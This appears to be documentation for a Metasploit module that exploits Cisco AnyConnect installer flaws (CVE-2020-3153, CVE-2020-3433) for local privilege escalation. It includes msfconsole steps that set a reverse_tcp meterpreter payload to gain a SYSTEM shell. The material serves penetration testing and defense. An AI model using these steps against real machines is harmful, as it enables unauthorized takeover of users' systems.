List of CVEs: CVE-2020-3153, CVE-2020-3433, CVE-2020-3434

The installer component of Cisco AnyConnect Secure Mobility Client for Windows prior to 4.8.02042 is vulnerable to path traversal and allows local attackers to create/overwrite files in arbitrary locations with system level privileges. The installer component of Cisco AnyConnect Secure Mobility Client for Windows prior to 4.9.00086 is vulnerable to a DLL hijacking and allows local attackers to execute code on the affected machine with with system level privileges. Both attacks consist in sending a specially crafted IPC request to the TCP port 62522 on the loopback device, which is exposed by the Cisco AnyConnect Secure Mobility Agent service. This service will then launch the vulnerable installer component (vpndownloader), which copies itself to an arbitrary location (CVE-2020-3153) or with a supplied DLL (CVE-2020-3433) before being executed with system privileges. Since vpndownloader is also vulnerable to DLL hijacking, a specially crafted DLL (dbghelp.dll) is created at the same location vpndownloader will be copied to get code execution with system privileges. The CVE-2020-3153 exploit has been successfully tested against Cisco AnyConnect Secure Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 10 version 1909 (x64) and Windows 7 SP1 (x86); the CVE-2020-3434 exploit has been successfully tested against Cisco AnyConnect Secure Mobility Client versions 4.5.02036, 4.6.03049, 4.7.04056, 4.8.01090 and 4.8.03052 on Windows 10 version 1909 (x64) and 4.7.4056 on Windows 7 SP1 (x64).

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/windows/local/anyconnect_lpe
msf exploit(anyconnect_lpe) > show targets
    ... a list of targets ...
msf exploit(anyconnect_lpe) > set TARGET target-id
msf exploit(anyconnect_lpe) > show options
    ... show and set options ...
msf exploit(anyconnect_lpe) > set SESSION session-id
msf exploit(anyconnect_lpe) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


The installer component of Cisco AnyConnect Secure Mobility Client for Windows prior to 4.8.02042 is vulnerable to path traversal and allows local attackers to create/overwrite files in arbitrary locations with system level privileges.

The installer component of Cisco AnyConnect Secure Mobility Client for Windows prior to 4.9.00086 is vulnerable to a DLL hijacking and allows local attackers to execute code on the affected machine with with system level privileges.

Both attacks consist in sending a specially crafted IPC request to the TCP port 62522 on the loopback device, which is exposed by the Cisco AnyConnect Secure Mobility Agent service. This service will then launch the vulnerable installer component (vpndownloader), which copies itself to an arbitrary location (CVE-2020-3153) or with a supplied DLL (CVE-2020-3433) before being executed with system privileges. Since vpndownloader is also vulnerable to DLL hijacking, a specially crafted DLL (dbghelp.dll) is created at the same location vpndownloader will be copied to get code execution with system privileges.

The CVE-2020-3153 exploit has been successfully tested against Cisco AnyConnect Secure Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 10 version 1909 (x64) and Windows 7 SP1 (x86); the CVE-2020-3434 exploit has been successfully tested against Cisco AnyConnect Secure Mobility Client versions 4.5.02036, 4.6.03049, 4.7.04056, 4.8.01090 and 4.8.03052 on Windows 10 version 1909 (x64) and 4.7.4056 on Windows 7 SP1 (x64).

AnyConnect Secure Mobility Client is not publicly available and only customers with active contracts can download it. For this reason, download links have not been provided.

Install the Application


  1. Unzip the AnyConnect package
  2. Open the extracted folder
  3. Run Setup.exe
  4. Select Core & VPN only (no need to install the full package)
  5. Click Install Selected
  6. Confirm you want to install this specific version of Anyconnect (click OK)
  7. Accept the EULA (click Accept)
  8. Installation complete (click OK)... enjoy

Or just run the anyconnect-win-x.y.zzzzz-core-vpn-predeploy-k9.msi installer and follow the installation steps with the default options.

Verification Steps


  1. Start msfconsole
  2. Get a session with non-administrative privileges
  3. Do: use exploit/windows/local/anyconnect_lpe
  4. Do: set SESSION <SESSION>
  5. Do: set payload windows/meterpreter/reverse_tcp
  6. Do: set LHOST <LHOST>
  7. Do: set LPORT <LPORT>
  8. Do: check
  9. Do: run
  10. You should get a new session as the SYSTEM user

Options

Payload information:

Description:
  The installer component of Cisco AnyConnect Secure Mobility Client 
  for Windows prior to 4.8.02042 is vulnerable to path traversal and 
  allows local attackers to create/overwrite files in arbitrary 
  locations with system level privileges. The installer component of 
  Cisco AnyConnect Secure Mobility Client for Windows prior to 
  4.9.00086 is vulnerable to a DLL hijacking and allows local 
  attackers to execute code on the affected machine with with system 
  level privileges. Both attacks consist in sending a specially 
  crafted IPC request to the TCP port 62522 on the loopback device, 
  which is exposed by the Cisco AnyConnect Secure Mobility Agent 
  service. This service will then launch the vulnerable installer 
  component (`vpndownloader`), which copies itself to an arbitrary 
  location (CVE-2020-3153) or with a supplied DLL (CVE-2020-3433) 
  before being executed with system privileges. Since `vpndownloader` 
  is also vulnerable to DLL hijacking, a specially crafted DLL 
  (`dbghelp.dll`) is created at the same location `vpndownloader` will 
  be copied to get code execution with system privileges. The 
  CVE-2020-3153 exploit has been successfully tested against Cisco 
  AnyConnect Secure Mobility Client versions 4.5.04029, 4.5.05030 and 
  4.7.04056 on Windows 10 version 1909 (x64) and Windows 7 SP1 (x86); 
  the CVE-2020-3434 exploit has been successfully tested against Cisco 
  AnyConnect Secure Mobility Client versions 4.5.02036, 4.6.03049, 
  4.7.04056, 4.8.01090 and 4.8.03052 on Windows 10 version 1909 (x64) 
  and 4.7.4056 on Windows 7 SP1 (x64).
